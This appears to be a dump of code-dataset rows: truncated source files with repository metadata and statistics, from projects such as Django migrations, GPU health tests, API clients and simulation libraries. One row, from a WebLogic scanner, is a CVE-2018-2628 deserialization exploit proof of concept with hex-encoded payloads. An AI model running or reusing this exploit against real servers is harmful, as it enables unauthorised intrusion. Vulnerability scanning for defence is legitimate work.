] | 244 | 2021-03-26T15:13:15.000Z | 2022-03-31T15:48:04.000Z | variants/migrations/0073_clearexpiredexportedfilesbgjob_clearinactivevariantsetsbgjob_clearoldkioskcasesbgjob_refreshsmallvar.py | brand-fabian/varfish-server | 6a084d891d676ff29355e72a29d4f7b207220283 | [
"MIT"
] | 8 | 2020-05-19T21:55:13.000Z | 2022-03-31T07:02:58.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.29 on 2020-05-26 17:28
from __future__ import unicode_literals
import bgjobs.models
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
dependencies = [
("bgjobs", "0006_auto_20200... | 38.171429 | 99 | 0.458458 | 386 | 5,344 | 6.158031 | 0.222798 | 0.040387 | 0.029449 | 0.046277 | 0.778713 | 0.778713 | 0.778713 | 0.778713 | 0.778713 | 0.778713 | 0 | 0.014108 | 0.442927 | 5,344 | 139 | 100 | 38.446043 | 0.784347 | 0.012912 | 0 | 0.727273 | 1 | 0 | 0.176593 | 0.060129 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037879 | 0 | 0.060606 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
91b97fe149745dd2213b13cc90d98fdee631f290 | 12,086 | py | Python | test/test_p4lib_diff.py | Tech-pandit/python-p4lib | 6b5602321c3c79151a1e603c4ef7eac4a405fb68 | [
"MIT"
] | null | null | null | test/test_p4lib_diff.py | Tech-pandit/python-p4lib | 6b5602321c3c79151a1e603c4ef7eac4a405fb68 | [
"MIT"
] | null | null | null | test/test_p4lib_diff.py | Tech-pandit/python-p4lib | 6b5602321c3c79151a1e603c4ef7eac4a405fb68 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# Copyright (c) 2002-2005 ActiveState Corp.
# See LICENSE.txt for license details.
# Author:
# Trent Mick (TrentM@ActiveState.com)
# Home:
# http://trentm.com/projects/px/
"""Test p4lib.py's interface to 'p4 diff'."""
import os
import sys
import types
import unittest
import pprint
import te... | 33.949438 | 80 | 0.525732 | 1,431 | 12,086 | 4.373864 | 0.098532 | 0.078287 | 0.038664 | 0.051126 | 0.835757 | 0.817383 | 0.764978 | 0.741652 | 0.741652 | 0.704745 | 0 | 0.021253 | 0.342049 | 12,086 | 355 | 81 | 34.04507 | 0.765845 | 0.079927 | 0 | 0.719101 | 0 | 0 | 0.110332 | 0.031406 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.026217 | null | null | 0.003745 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
91bdf2112ce580e0a05bb8a459808af05b8fad5f | 30,958 | py | Python | eeauditor/auditors/aws/Amazon_SageMaker_Auditor.py | kbhagi/ElectricEye | 31960e1e1cfb75c5d354844ea9e07d5295442823 | [
"Apache-2.0"
] | 442 | 2020-03-15T20:56:36.000Z | 2022-03-31T22:13:07.000Z | eeauditor/auditors/aws/Amazon_SageMaker_Auditor.py | kbhagi/ElectricEye | 31960e1e1cfb75c5d354844ea9e07d5295442823 | [
"Apache-2.0"
] | 57 | 2020-03-15T22:09:56.000Z | 2022-03-31T13:17:06.000Z | eeauditor/auditors/aws/Amazon_SageMaker_Auditor.py | kbhagi/ElectricEye | 31960e1e1cfb75c5d354844ea9e07d5295442823 | [
"Apache-2.0"
] | 59 | 2020-03-15T21:19:10.000Z | 2022-03-31T15:01:31.000Z | #This file is part of ElectricEye.
#SPDX-License-Identifier: Apache-2.0
#Licensed to the Apache Software Foundation (ASF) under one
#or more contributor license agreements. See the NOTICE file
#distributed with this work for additional information
#regarding copyright ownership. The ASF licenses this file
#to you un... | 49.851852 | 237 | 0.496608 | 2,499 | 30,958 | 6.135654 | 0.111245 | 0.01774 | 0.026609 | 0.028827 | 0.887824 | 0.886128 | 0.881106 | 0.875302 | 0.875302 | 0.871062 | 0 | 0.049487 | 0.395568 | 30,958 | 621 | 238 | 49.851852 | 0.769934 | 0.04364 | 0 | 0.821918 | 0 | 0.034247 | 0.403538 | 0.049186 | 0 | 0 | 0 | 0 | 0 | 1 | 0.008562 | false | 0.008562 | 0.005137 | 0 | 0.013699 | 0.005137 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
91c67c7f22007ae225f1c33a054359b4b5cab5aa | 188 | py | Python | 12 oporators/BitwiseOper.py | codewithsandy/Python-Basic-Exp | 4c70ada4a042923a94301453c7bd76e704cd2989 | [
"MIT"
] | 3 | 2021-05-08T13:11:41.000Z | 2021-05-14T02:43:20.000Z | 12 oporators/BitwiseOper.py | codewithsandy/Python-Basic-Exp | 4c70ada4a042923a94301453c7bd76e704cd2989 | [
"MIT"
] | null | null | null | 12 oporators/BitwiseOper.py | codewithsandy/Python-Basic-Exp | 4c70ada4a042923a94301453c7bd76e704cd2989 | [
"MIT"
] | null | null | null | print("Bitwise Operator")
# 0 - 00
# 1 - 01
# 2 - 10
# 3 - 11
print(0 | 1) # OR
print(0 | 2)
print(1 | 3)
print(2 | 3)
print(0 & 1) # AND | 14.461538 | 25 | 0.382979 | 28 | 188 | 2.571429 | 0.464286 | 0.25 | 0.194444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217822 | 0.462766 | 188 | 13 | 26 | 14.461538 | 0.49505 | 0.37234 | 0 | 0 | 0 | 0 | 0.150943 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
91da7f3be2e73fea2e3f8e7a05b8aeb96d7d304c | 133 | py | Python | irradiance_synth/__init__.py | Ekistica/irradiance_synth | 4f4c5cf9e898739b59066fdf56dd66e5f4b45e60 | [
"MIT"
] | null | null | null | irradiance_synth/__init__.py | Ekistica/irradiance_synth | 4f4c5cf9e898739b59066fdf56dd66e5f4b45e60 | [
"MIT"
] | null | null | null | irradiance_synth/__init__.py | Ekistica/irradiance_synth | 4f4c5cf9e898739b59066fdf56dd66e5f4b45e60 | [
"MIT"
] | null | null | null | from irradiance_synth.irradiance_dataset import IrradianceDataset
from irradiance_synth.irradiance_synth import IrradianceSynthesizer | 66.5 | 67 | 0.932331 | 14 | 133 | 8.571429 | 0.5 | 0.375 | 0.316667 | 0.483333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 133 | 2 | 67 | 66.5 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
91dfd3aad9adc2bfdf9d26218df6c9880913e639 | 56,737 | py | Python | testing/python3/tests/test_health.py | deepio/DCGM | d10273f18fb3d425da752ab6bb7e07af3d18caec | [
"Apache-2.0"
] | 85 | 2021-02-03T19:58:50.000Z | 2022-03-21T08:00:11.000Z | testing/python3/tests/test_health.py | deepio/DCGM | d10273f18fb3d425da752ab6bb7e07af3d18caec | [
"Apache-2.0"
] | 19 | 2021-03-19T08:13:58.000Z | 2022-03-17T02:50:41.000Z | testing/python3/tests/test_health.py | deepio/DCGM | d10273f18fb3d425da752ab6bb7e07af3d18caec | [
"Apache-2.0"
] | 17 | 2021-02-04T06:47:30.000Z | 2022-03-21T22:14:03.000Z | # Copyright (c) 2020, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... | 45.498797 | 159 | 0.756896 | 7,485 | 56,737 | 5.382766 | 0.060254 | 0.04696 | 0.049144 | 0.040109 | 0.881732 | 0.867709 | 0.855324 | 0.842815 | 0.828965 | 0.803599 | 0 | 0.017645 | 0.163932 | 56,737 | 1,246 | 160 | 45.535313 | 0.83171 | 0.124152 | 0 | 0.731678 | 0 | 0 | 0.0128 | 0.000895 | 0 | 0 | 0 | 0 | 0.202128 | 1 | 0.088652 | false | 0.004728 | 0.018913 | 0 | 0.108747 | 0.001182 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
534e651110d0282604cd43c274b22eae055619ea | 68,580 | py | Python | scripts/sampleOutputs/bkup/cmp_namdgromacscalculixcactusADM_reverse/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | scripts/sampleOutputs/bkup/cmp_namdgromacscalculixcactusADM_reverse/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | scripts/sampleOutputs/bkup/cmp_namdgromacscalculixcactusADM_reverse/power.py | TugberkArkose/MLScheduler | e493b6cbf7b9d29a2c9300d7dd6f0c2f102e4061 | [
"Unlicense"
] | null | null | null | power = {'BUSES': {'Area': 1.33155,
'Bus/Area': 1.33155,
'Bus/Gate Leakage': 0.00662954,
'Bus/Peak Dynamic': 0.0,
'Bus/Runtime Dynamic': 0.0,
'Bus/Subthreshold Leakage': 0.0691322,
'Bus/Subthreshold Leakage with power gating': 0.0259246,
'Gate... | 75.032823 | 124 | 0.681948 | 8,082 | 68,580 | 5.780747 | 0.067558 | 0.12363 | 0.113014 | 0.093493 | 0.939983 | 0.931956 | 0.919307 | 0.888891 | 0.865625 | 0.847132 | 0 | 0.131475 | 0.224424 | 68,580 | 914 | 125 | 75.032823 | 0.746903 | 0 | 0 | 0.646608 | 0 | 0 | 0.657689 | 0.048118 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
727808df0af2db769c678df00978f6da5d175b8a | 263 | py | Python | python/anyascii/_data/_112.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | python/anyascii/_data/_112.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | python/anyascii/_data/_112.py | casept/anyascii | d4f426b91751254b68eaa84c6cd23099edd668e6 | [
"ISC"
] | null | null | null | b=' 0 1 2 3 4 5 6 7 8 9' | 263 | 263 | 0.041825 | 11 | 263 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.714286 | 0.946768 | 263 | 1 | 263 | 263 | 0.071429 | 0 | 0 | 0 | 0 | 0 | 0.981061 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
72d61f47023a20d7e72765708310910c82f4471c | 174 | py | Python | tests/providers/kuaidaili_provider_test.py | gillbates/scylla | 88b999eb60504c23041a56b343c6a021d778538d | [
"Apache-2.0"
] | null | null | null | tests/providers/kuaidaili_provider_test.py | gillbates/scylla | 88b999eb60504c23041a56b343c6a021d778538d | [
"Apache-2.0"
] | null | null | null | tests/providers/kuaidaili_provider_test.py | gillbates/scylla | 88b999eb60504c23041a56b343c6a021d778538d | [
"Apache-2.0"
] | null | null | null | from scylla.providers import KuaidailiProvider
from tests.providers.helpers import assert_provider
def test_cool_proxy_provider():
assert_provider(KuaidailiProvider())
| 24.857143 | 51 | 0.844828 | 20 | 174 | 7.1 | 0.65 | 0.197183 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.097701 | 174 | 6 | 52 | 29 | 0.904459 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.25 | true | 0 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
72ea66d5ad5a6d8a62759613cd568e45a1e387b5 | 179 | py | Python | 7day/re/Re11.py | jsjang93/joony | 62f7a325094c887212b894932263bf84500e0f03 | [
"MIT"
] | null | null | null | 7day/re/Re11.py | jsjang93/joony | 62f7a325094c887212b894932263bf84500e0f03 | [
"MIT"
] | null | null | null | 7day/re/Re11.py | jsjang93/joony | 62f7a325094c887212b894932263bf84500e0f03 | [
"MIT"
] | null | null | null | import re
print(re.search( "^ap","apple"))
print(re.search("[^ap]","apple"))
print(re.search("[^ab]","bread"))
print(re.search("[^ab]","orange"))
print(re.search("[^ap]","anana")) | 29.833333 | 34 | 0.608939 | 27 | 179 | 4.037037 | 0.37037 | 0.321101 | 0.59633 | 0.412844 | 0.486239 | 0.486239 | 0.486239 | 0.486239 | 0 | 0 | 0 | 0 | 0.039106 | 179 | 6 | 35 | 29.833333 | 0.633721 | 0 | 0 | 0 | 0 | 0 | 0.272222 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.166667 | 0 | 0.166667 | 0.833333 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
f41364fdb6a974330d2f606eb183bfe447514600 | 6,878 | py | Python | poc/CVE_2018_2628.py | rabbitmask/Weblogic- | 05cee3a69cf403e4db5f057c569a923c107cb97b | [
"MIT"
] | 1,593 | 2019-05-14T05:58:32.000Z | 2022-03-30T05:23:52.000Z | poc/CVE_2018_2628.py | secfb/WeblogicScan | 05cee3a69cf403e4db5f057c569a923c107cb97b | [
"MIT"
] | 13 | 2019-09-03T17:27:29.000Z | 2022-02-16T04:51:05.000Z | poc/CVE_2018_2628.py | secfb/WeblogicScan | 05cee3a69cf403e4db5f057c569a923c107cb97b | [
"MIT"
] | 365 | 2019-05-14T06:11:09.000Z | 2022-03-31T13:57:03.000Z | #!/usr/bin/env python3
# _*_ coding:utf-8 _*_
'''
____ _ _ _ _ __ __ _
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_... | 95.527778 | 2,063 | 0.867839 | 225 | 6,878 | 26.12 | 0.457778 | 0.006806 | 0.006636 | 0.010209 | 0.007147 | 0.007147 | 0 | 0 | 0 | 0 | 0 | 0.64443 | 0.075894 | 6,878 | 72 | 2,064 | 95.527778 | 0.280208 | 0.044344 | 0 | 0 | 0 | 0 | 0.782622 | 0.758435 | 0 | 1 | 0 | 0 | 0 | 1 | 0.092593 | false | 0.018519 | 0.074074 | 0 | 0.240741 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
f413ce93b672ed29d1a3d5ac98626b596cc500dc | 22,625 | py | Python | Matc_links/Matc_links/spiders/get_links3.py | Nouldine/MyCrawlerSystem | 7bba8ba3ec76e10f70a35700602812ee6f039b63 | [
"MIT"
] | null | null | null | Matc_links/Matc_links/spiders/get_links3.py | Nouldine/MyCrawlerSystem | 7bba8ba3ec76e10f70a35700602812ee6f039b63 | [
"MIT"
] | null | null | null | Matc_links/Matc_links/spiders/get_links3.py | Nouldine/MyCrawlerSystem | 7bba8ba3ec76e10f70a35700602812ee6f039b63 | [
"MIT"
] | null | null | null | from scrapy import Spider
from scrapy.spiders import CrawlSpider, Rule
from scrapy.selector import Selector
from scrapy.contrib.spiders import CrawlSpider, Rule
from scrapy.contrib.linkextractors.sgml import SgmlLinkExtractor
from scrapy.linkextractors import LinkExtractor
import scrapy
from scrapy.spidermiddlewares.ht... | 175.387597 | 1,468 | 0.800928 | 2,868 | 22,625 | 6.314156 | 0.117503 | 0.22718 | 0.279474 | 0.319399 | 0.880336 | 0.877022 | 0.868629 | 0.866641 | 0.866641 | 0.863272 | 0 | 0.012945 | 0.033768 | 22,625 | 128 | 1,469 | 176.757813 | 0.815425 | 0.009724 | 0 | 0.092105 | 0 | 3.105263 | 0.8851 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.039474 | false | 0 | 0.144737 | 0 | 0.236842 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 13 |
f41c4d6f70b1357efe53b4834143901d9f058b8d | 13,051 | py | Python | test/units/module_utils/facts/hardware/linux_data.py | Container-Projects/ansible-provider-docs | 100b695b0b0c4d8d08af362069557ffc735d0d7e | [
"PSF-2.0",
"BSD-2-Clause",
"MIT"
] | 37 | 2017-08-15T15:02:43.000Z | 2021-07-23T03:44:31.000Z | test/units/module_utils/facts/hardware/linux_data.py | Container-Projects/ansible-provider-docs | 100b695b0b0c4d8d08af362069557ffc735d0d7e | [
"PSF-2.0",
"BSD-2-Clause",
"MIT"
] | 12 | 2018-01-10T05:25:25.000Z | 2021-11-28T06:55:48.000Z | test/units/module_utils/facts/hardware/linux_data.py | Container-Projects/ansible-provider-docs | 100b695b0b0c4d8d08af362069557ffc735d0d7e | [
"PSF-2.0",
"BSD-2-Clause",
"MIT"
] | 49 | 2017-08-15T09:52:13.000Z | 2022-03-21T17:11:54.000Z | # This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that ... | 35.953168 | 154 | 0.586698 | 1,645 | 13,051 | 4.578116 | 0.210942 | 0.019918 | 0.072235 | 0.099588 | 0.80162 | 0.779445 | 0.761652 | 0.735759 | 0.725136 | 0.70482 | 0 | 0.11611 | 0.264194 | 13,051 | 362 | 155 | 36.052486 | 0.668125 | 0.058999 | 0 | 0.45509 | 0 | 0.095808 | 0.659953 | 0.404958 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.002994 | 0 | 0.002994 | 0.002994 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f471e9e97ad1e29c96ba5bcb34ba989bacba0f2b | 1,888 | py | Python | deepchem/metrics/__init__.py | hsjang001205/deepchem | 02fce35729826b1ef12a1cfa6519b491510217be | [
"MIT"
] | 1 | 2020-08-19T17:25:27.000Z | 2020-08-19T17:25:27.000Z | deepchem/metrics/__init__.py | swpper/deepchem | 510b9bf1805bc5a472c1a519700e6b128e06c651 | [
"MIT"
] | 1 | 2020-09-22T18:42:21.000Z | 2020-09-22T18:42:21.000Z | deepchem/metrics/__init__.py | swpper/deepchem | 510b9bf1805bc5a472c1a519700e6b128e06c651 | [
"MIT"
] | 1 | 2020-10-06T13:31:21.000Z | 2020-10-06T13:31:21.000Z | # flake8: noqa
# metric class
from deepchem.metrics.metric import Metric
# metrics utils
from deepchem.metrics.metric import threshold_predictions
from deepchem.metrics.metric import normalize_weight_shape
from deepchem.metrics.metric import normalize_labels_shape
from deepchem.metrics.metric import normalize_predicti... | 47.2 | 67 | 0.886123 | 264 | 1,888 | 6.090909 | 0.200758 | 0.231343 | 0.366294 | 0.343284 | 0.840174 | 0.76306 | 0.644901 | 0.299751 | 0 | 0 | 0 | 0.002296 | 0.077331 | 1,888 | 39 | 68 | 48.410256 | 0.920781 | 0.049788 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
be49d4b8dd6aadb0548215e5d9f204bc5d5af78a | 132,336 | py | Python | intersight/api/iaas_api.py | sdnit-se/intersight-python | 551f7685c0f76bb8af60ec83ffb6f9672d49a4ae | [
"Apache-2.0"
] | 21 | 2018-03-29T14:20:35.000Z | 2021-10-13T05:11:41.000Z | intersight/api/iaas_api.py | sdnit-se/intersight-python | 551f7685c0f76bb8af60ec83ffb6f9672d49a4ae | [
"Apache-2.0"
] | 14 | 2018-01-30T15:45:46.000Z | 2022-02-23T14:23:21.000Z | intersight/api/iaas_api.py | sdnit-se/intersight-python | 551f7685c0f76bb8af60ec83ffb6f9672d49a4ae | [
"Apache-2.0"
] | 18 | 2018-01-03T15:09:56.000Z | 2021-07-16T02:21:54.000Z | # coding: utf-8
"""
Cisco Intersight
Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environmen... | 63.592504 | 1,389 | 0.65277 | 16,372 | 132,336 | 5.110494 | 0.026325 | 0.03576 | 0.05756 | 0.015681 | 0.975654 | 0.975319 | 0.974937 | 0.974447 | 0.972762 | 0.971997 | 0 | 0.011153 | 0.283173 | 132,336 | 2,080 | 1,390 | 63.623077 | 0.870855 | 0.577976 | 0 | 0.8829 | 0 | 0 | 0.174017 | 0.056257 | 0 | 0 | 0 | 0 | 0 | 1 | 0.02881 | false | 0 | 0.004647 | 0 | 0.062268 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
be865b60b1a3ac8f90f876232e371d4f1d737748 | 144 | py | Python | src/point.py | Felieton/GeneticAlgorithm | f881f8ee68e3d48b8ad3054dd18208f8ac04a3c8 | [
"MIT"
] | 1 | 2021-03-16T19:47:16.000Z | 2021-03-16T19:47:16.000Z | src/point.py | Felieton/GeneticAlgorithm | f881f8ee68e3d48b8ad3054dd18208f8ac04a3c8 | [
"MIT"
] | null | null | null | src/point.py | Felieton/GeneticAlgorithm | f881f8ee68e3d48b8ad3054dd18208f8ac04a3c8 | [
"MIT"
] | null | null | null | class Point:
def __init__(self, x, y):
self.x = x
self.y = y
def __str__(self):
return f'({self.x}, {self.y})'
| 18 | 38 | 0.486111 | 22 | 144 | 2.818182 | 0.454545 | 0.241935 | 0.193548 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.347222 | 144 | 7 | 39 | 20.571429 | 0.659574 | 0 | 0 | 0 | 0 | 0 | 0.138889 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.166667 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
bea67e69ae54228897fd3b831ebbcd0022c27df1 | 5,481 | py | Python | moya/tests/test_expressionrange.py | moyaproject/moya | 78b91d87b4519f91dfdd2b40dab44e72f201a843 | [
"MIT"
] | 129 | 2015-02-16T12:02:50.000Z | 2021-11-06T00:20:01.000Z | moya/tests/test_expressionrange.py | liaohandel/moya | 78b91d87b4519f91dfdd2b40dab44e72f201a843 | [
"MIT"
] | 5 | 2015-02-19T15:56:41.000Z | 2015-09-08T18:58:35.000Z | moya/tests/test_expressionrange.py | liaohandel/moya | 78b91d87b4519f91dfdd2b40dab44e72f201a843 | [
"MIT"
] | 14 | 2015-02-19T17:20:34.000Z | 2022-03-28T01:38:09.000Z | import unittest
from moya.context import Context
from moya.context.expressionrange import *
class TestExpressionRange(unittest.TestCase):
def test_exclusive_integer(self):
c = Context()
r = ExclusiveIntegerRange(c, 2, 4)
self.assertEqual(list(r), [2, 3])
self.assertEqual(len(r), 2)... | 38.0625 | 73 | 0.51195 | 803 | 5,481 | 3.437111 | 0.051059 | 0.413043 | 0.096377 | 0.224638 | 0.859058 | 0.821739 | 0.807971 | 0.768478 | 0.709058 | 0.548188 | 0 | 0.043269 | 0.278964 | 5,481 | 143 | 74 | 38.328671 | 0.655111 | 0 | 0 | 0.522388 | 0 | 0 | 0.018792 | 0 | 0 | 0 | 0 | 0 | 0.850746 | 1 | 0.029851 | false | 0 | 0.022388 | 0 | 0.059701 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
bea731fba372e2c93f77efb4d6d72392e171460b | 18,938 | py | Python | tests/test_turing_machine.py | lantunes/netomaton | fef60a787d031c9c7b1eb4ff990f7c12145579ef | [
"Apache-2.0"
] | 35 | 2018-12-07T14:11:29.000Z | 2022-03-17T23:47:21.000Z | tests/test_turing_machine.py | lantunes/netomaton | fef60a787d031c9c7b1eb4ff990f7c12145579ef | [
"Apache-2.0"
] | 2 | 2020-03-15T06:45:39.000Z | 2020-04-15T23:50:13.000Z | tests/test_turing_machine.py | lantunes/netomaton | fef60a787d031c9c7b1eb4ff990f7c12145579ef | [
"Apache-2.0"
] | 6 | 2019-10-18T08:47:32.000Z | 2022-03-02T10:17:12.000Z | import netomaton as ntm
from netomaton import TuringMachine, HeadCentricTuringMachine, TapeCentricTuringMachine
from .rule_test import *
class TestTuringMachine(RuleTest):
def test_turing_machine1(self):
HEAD = {"up": 1, "down": 2}
CELL = {"on": 1, "off": 0}
rule_table = {
HEA... | 61.288026 | 123 | 0.486905 | 2,148 | 18,938 | 4.162011 | 0.051676 | 0.117897 | 0.112752 | 0.033557 | 0.946309 | 0.945526 | 0.940716 | 0.935235 | 0.925839 | 0.920022 | 0 | 0.041903 | 0.293062 | 18,938 | 308 | 124 | 61.487013 | 0.625859 | 0 | 0 | 0.727891 | 0 | 0 | 0.053913 | 0.011247 | 0 | 0 | 0 | 0 | 0.05102 | 1 | 0.020408 | false | 0 | 0.010204 | 0 | 0.034014 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
